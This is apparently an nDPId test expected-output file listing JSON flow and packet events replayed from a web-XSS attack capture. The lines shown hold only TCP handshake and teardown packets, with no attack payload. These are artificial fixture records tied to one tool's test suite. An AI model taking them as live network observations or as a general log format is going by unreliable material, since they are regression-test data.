+00444{"flow_id":251,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3567,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347395,"pkt_ts_usec":736207,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86QJAAD4G3M2sEAABwKgKMt2iAFAP0mDzAAAAAKACchCFIAAAAgQFtAQCCAoBOonxAAAAAAEDAwc="} +00444{"flow_id":251,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3568,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347395,"pkt_ts_usec":736334,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3aKdN8ZwD9Jg9KAScSDDCwAAAgQFtAQCCAoD5FtnATqJ8QEDAwc="} +00432{"flow_id":251,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3569,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347395,"pkt_ts_usec":737093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06QNAAD4G3NSsEAABwKgKMt2iAFAP0mD0nTfGcYAQAOViEgAAAQEICgE6ifID5Ftn"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3582,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_first_seen":1499347398258,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56764,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":252,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3582,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347398,"pkt_ts_usec":258131,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8RfFAAD4Gf9+sEAABwKgKMt28AFBXE8mZAAAAAKACchDSpwAAAgQFtAQCCAoBOoxoAAAAAAEDAwc="} +00444{"flow_id":252,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3583,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347398,"pkt_ts_usec":258227,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3byK2p7LVxPJmqAScSBIHgAAAgQFtAQCCAoD5F3eATqMaAEDAwc="} +00432{"flow_id":252,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3584,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347398,"pkt_ts_usec":259022,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0RfJAAD4Gf+asEAABwKgKMt28AFBXE8maitqezIAQAOXnJQAAAQEICgE6jGgD5F3e"} +00432{"flow_id":249,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3589,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347398,"pkt_ts_usec":724027,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09hZAAD4Gz8GsEAABwKgKMt2GAFBIK3F09WZM3YARAOU6WQAAAQEICgE6jNwD5Fjd"} +00432{"flow_id":249,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3590,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347398,"pkt_ts_usec":724266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Eo9AAEAGsUnAqAoyrBAAAQBQ3Yb1ZkzdSCtxdYARAOM05QAAAQEICgPkXlIBOozc"} +00432{"flow_id":249,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3591,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347398,"pkt_ts_usec":725008,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09hdAAD4Gz8CsEAABwKgKMt2GAFBIK3F19WZM3oAQAOU04gAAAQEICgE6jN0D5F5S"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3595,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_first_seen":1499347399514,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56778,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":253,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3595,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347399,"pkt_ts_usec":514448,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gr5AAD4GQxKsEAABwKgKMt3KAFDFpQ8cAAAAAKACchAdSwAAAgQFtAQCCAoBOo2iAAAAAAEDAwc="} +00444{"flow_id":253,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3596,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347399,"pkt_ts_usec":514603,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3cp+0BfYxaUPHaAScSAkhQAAAgQFtAQCCAoD5F8YATqNogEDAwc="} +00432{"flow_id":253,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3597,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347399,"pkt_ts_usec":515339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gr9AAD4GQxmsEAABwKgKMt3KAFDFpQ8dftAX2YAQAOXDjAAAAQEICgE6jaID5F8Y"} +00432{"flow_id":250,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3602,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347399,"pkt_ts_usec":724083,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ellAAD4GS3+sEAABwKgKMt2UAFCjvfL1NOA6IYARAOUuRAAAAQEICgE6jdYD5FoZ"} +00432{"flow_id":250,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3603,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347399,"pkt_ts_usec":724332,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZW1AAEAGXmvAqAoyrBAAAQBQ3ZQ04Doho73y9oARAOMpEgAAAQEICgPkX0wBOo3W"} +00432{"flow_id":250,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3604,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347399,"pkt_ts_usec":725104,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0elpAAD4GS36sEAABwKgKMt2UAFCjvfL2NOA6IoAQAOUpDwAAAQEICgE6jdcD5F9M"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3608,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":254,"flow_packet_id":1,"flow_first_seen":1499347400752,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56792,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":254,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3608,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347400,"pkt_ts_usec":752840,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8pCxAAD4GIaSsEAABwKgKMt3YAFC0oCr7AAAAAKACchARLgAAAgQFtAQCCAoBOo7XAAAAAAEDAwc="} +00445{"flow_id":254,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3609,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347400,"pkt_ts_usec":752947,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3diBtZGUtKAq\/KAScSCakQAAAgQFtAQCCAoD5GBNATqO1wEDAwc="} +00432{"flow_id":254,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3610,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347400,"pkt_ts_usec":753734,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pC1AAD4GIausEAABwKgKMt3YAFC0oCr8gbWRlYAQAOU5mAAAAQEICgE6jtgD5GBN"} +00432{"flow_id":251,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3614,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347401,"pkt_ts_usec":724942,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06QRAAD4G3NOsEAABwKgKMt2iAFAP0mD0nTfGcYARAOVcOQAAAQEICgE6j8oD5Ftn"} +00433{"flow_id":251,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3615,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347401,"pkt_ts_usec":725206,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pzFAAEAGHKfAqAoyrBAAAQBQ3aKdN8ZxD9Jg9YARAONWYQAAAQEICgPkYUABOo\/K"} +00432{"flow_id":251,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3616,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347401,"pkt_ts_usec":725942,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06QVAAD4G3NKsEAABwKgKMt2iAFAP0mD1nTfGcoAQAOVWXgAAAQEICgE6j8sD5GFA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":255,"flow_packet_id":1,"flow_first_seen":1499347403327,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56818,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":255,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3626,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347403,"pkt_ts_usec":327144,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89cJAAD4G0A2sEAABwKgKMt3yAFCprWSZAAAAAKACchDf5AAAAgQFtAQCCAoBOpFbAAAAAAEDAwc="} +00444{"flow_id":255,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3627,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347403,"pkt_ts_usec":327268,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3fKtl6seqa1kmqAScSAhWAAAAgQFtAQCCAoD5GLRATqRWwEDAwc="} +00432{"flow_id":255,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3628,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347403,"pkt_ts_usec":328021,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09cNAAD4G0BSsEAABwKgKMt3yAFCprWSarZerH4AQAOXAXwAAAQEICgE6kVsD5GLR"} +00432{"flow_id":252,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3632,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347403,"pkt_ts_usec":724890,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0RfNAAD4Gf+WsEAABwKgKMt28AFBXE8maitqezIARAOXhzQAAAQEICgE6kb8D5F3e"} +00435{"flow_id":252,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3633,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347403,"pkt_ts_usec":725109,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0\/fhAAEAGxd\/AqAoyrBAAAQBQ3byK2p7MVxPJm4ARAOPceAAAAQEICgPkYzQBOpG\/"} +00432{"flow_id":252,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3634,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347403,"pkt_ts_usec":725690,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0RfRAAD4Gf+SsEAABwKgKMt28AFBXE8mbitqezYAQAOXcdgAAAQEICgE6kb8D5GM0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3638,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":256,"flow_packet_id":1,"flow_first_seen":1499347404575,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56832,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":256,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3638,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347404,"pkt_ts_usec":575323,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA871lAAD4G1nasEAABwKgKMt4AAFBz\/X3KAAAAAKACchD7HQAAAgQFtAQCCAoBOpKTAAAAAAEDAwc="} +00446{"flow_id":256,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3639,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347404,"pkt_ts_usec":575446,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3gCf5c\/zc\/19y6AScSAkNgAAAgQFtAQCCAoD5GQJATqSkwEDAwc="} +00433{"flow_id":256,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3641,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347404,"pkt_ts_usec":576193,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA071pAAD4G1n2sEAABwKgKMt4AAFBz\/X3Ln+XP9IAQAOXDPQAAAQEICgE6kpMD5GQJ"} +00432{"flow_id":253,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3644,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347404,"pkt_ts_usec":725369,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gsBAAD4GQxisEAABwKgKMt3KAFDFpQ8dftAX2YARAOW+dAAAAQEICgE6krkD5F8Y"} +00433{"flow_id":253,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3645,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347404,"pkt_ts_usec":725588,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0c\/dAAEAGT+HAqAoyrBAAAQBQ3cp+0BfZxaUPHoARAOO5XwAAAQEICgPkZC4BOpK5"} +00432{"flow_id":253,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3646,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347404,"pkt_ts_usec":726147,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gsFAAD4GQxesEAABwKgKMt3KAFDFpQ8eftAX2oAQAOW5XQAAAQEICgE6krkD5GQu"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":6,"flow_first_seen":1499347332137,"flow_last_seen":1499347337710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56062,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":6,"flow_first_seen":1499347332137,"flow_last_seen":1499347337710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56062,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":6,"flow_first_seen":1499347333419,"flow_last_seen":1499347338710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56076,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":6,"flow_first_seen":1499347333419,"flow_last_seen":1499347338710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56076,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":6,"flow_first_seen":1499347334667,"flow_last_seen":1499347339710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56090,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":6,"flow_first_seen":1499347334667,"flow_last_seen":1499347339710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56090,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":6,"flow_first_seen":1499347337226,"flow_last_seen":1499347342710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56116,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":6,"flow_first_seen":1499347337226,"flow_last_seen":1499347342710,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56116,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":6,"flow_first_seen":1499347338485,"flow_last_seen":1499347343711,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56130,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3647,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":6,"flow_first_seen":1499347338485,"flow_last_seen":1499347343711,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56130,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":254,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3653,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347406,"pkt_ts_usec":725626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pC5AAD4GIaqsEAABwKgKMt3YAFC0oCr8gbWRlYARAOUzwgAAAQEICgE6lK0D5GBN"} +00433{"flow_id":254,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3654,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347406,"pkt_ts_usec":725808,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA097dAAEAGzCDAqAoyrBAAAQBQ3diBtZGVtKAq\/YARAOMt7gAAAQEICgPkZiIBOpSt"} +00432{"flow_id":254,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3655,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347406,"pkt_ts_usec":726581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pC9AAD4GIamsEAABwKgKMt3YAFC0oCr9gbWRloAQAOUt7AAAAQEICgE6lK0D5GYi"} 